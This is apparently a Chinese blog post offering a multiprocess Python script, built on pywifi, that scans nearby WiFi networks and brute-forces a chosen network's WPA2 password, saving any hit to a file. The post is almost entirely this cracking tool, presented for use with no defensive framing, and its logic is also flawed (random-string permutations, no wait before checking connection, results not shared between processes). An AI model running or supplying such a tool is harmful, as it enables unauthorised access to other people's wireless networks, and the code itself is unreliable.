python破解密码(多进程版)

上代码:

from random import*
import pywifi,time
from pywifi import const
from multiprocessing import*
wifi = pywifi.PyWiFi()             #创建wifi对象
ifaces = wifi.interfaces()[0]      #获取第一个无线网卡
print(ifaces.name())               #输出无线网卡名称
_ps=None    
ch="!#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"#默认密码本
def mk_pass(length:int) -> str:
    "make a password"#密码随机生成。
    password=str()
    for i in range(length):
        password=password+choice(ch)
    print("目前正在破解:{}".format(password))
    return password

def perm(s=''):
    # 这里是递归函数的出口,为什么呢,因为这里表示:一个长度为1的字符串,它的排列组合就是它自己。
    if len(s)<=1:
        return [s]
    sl=[] #保存字符串的所有可能排列组合
    for i in range(len(s)):  #这个循环,对应 解题思路1)确定字符串的第一个字母是谁,有n种可能(n为字符串s的长度
        for j in perm(s[0:i]+s[i+1:]): #这个循环,对应 解题思路2)进入递归,s[0:i]+s[i+1:]的意思就是把s中的s[i]给去掉
            sl.append(s[i]+j) # 对应 解题思路2)问题就从“返回字符串中的字母排列组合” **变成了** “返回 第一个字母+除去第一个字母外的字符串的排列组合”
    return sl
 

def scan_wifi():
    wifi = pywifi.PyWiFi()          #创建wifi对象
    iface = wifi.interfaces()[0]    #获取第一个无线网卡
 
    iface.scan()
    time.sleep(1)
    wifiresults = iface.scan_results()
        
    return wifiresults

def connect_wifi(ssid,key):
    profile = pywifi.Profile()                          #配置文件
    profile.ssid = ssid              #wifi名称
    profile.auth = const.AUTH_ALG_OPEN                  #需要密码
    profile.akm.append(const.AKM_TYPE_WPA2PSK)          #普通加密类型
    profile.cipher = const.CIPHER_TYPE_CCMP             #加密单元
    profile.key = key                            #wifi密码
 
    ifaces.remove_all_network_profiles()                #删除其它配置文件
    tmp_profile = ifaces.add_network_profile(profile)   #加载配置文件
    ifaces.connect(tmp_profile)     #连接wifi
    
 
    if ifaces.status() == const.IFACE_CONNECTED:
        return True#连接成功

    else:
        return False#本次尝试失败
 


def _main(SSID):
    global _ps
    Len=7  #至少8位密码!等会儿要加!
    Rs=False
    while not Rs:
        Len=Len+1
        Key=mk_pass(Len)
        if Len>16:
            break #超过16位了,STOP!
        for i in perm(Key):
            if connect_wifi(SSID,i):#成功!!
                Rs=True #终结循环体
                fq=open("C:/password.txt",'w')#破解成功的密码文件
                fq.write("{} password :{}".format(SSID,i))
                _ps=i
                break
            else:
                pass

def main(tg):
    try:
        prcs_num=int(input("你想启动几个进程>>>"))#Ask
    except TypeError:
        print("这是数字吗??")#Emm
    for i in range(1,prcs_num):
        print(i)
        p1=Process(target=_main,args=(tg,))
        p1.start()
    return _ps    
    

if __name__=="__main__":
    print("欢迎使用wifi密码破解器!\n开始使用吧!")#Welcome
    print("可使用的WiFi有:")#列举SSID
    SSIDs=[]#SSID列表
    for i in scan_wifi():
        print("SSID:{}\nMAC Address:{}".format(i.ssid,i.bssid))
        SSIDs.append(i.ssid)#添加
    while True:
        ssid=input("破解哪个WiFi:>>> ")
        if not ssid in SSIDs:
            print("周围没有这个WiFi!")#不在WiFi列表里
        else:
            ps=main(ssid)
            print("密码是{}".format(ps))#先打印一下
            break
 

试试吧。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值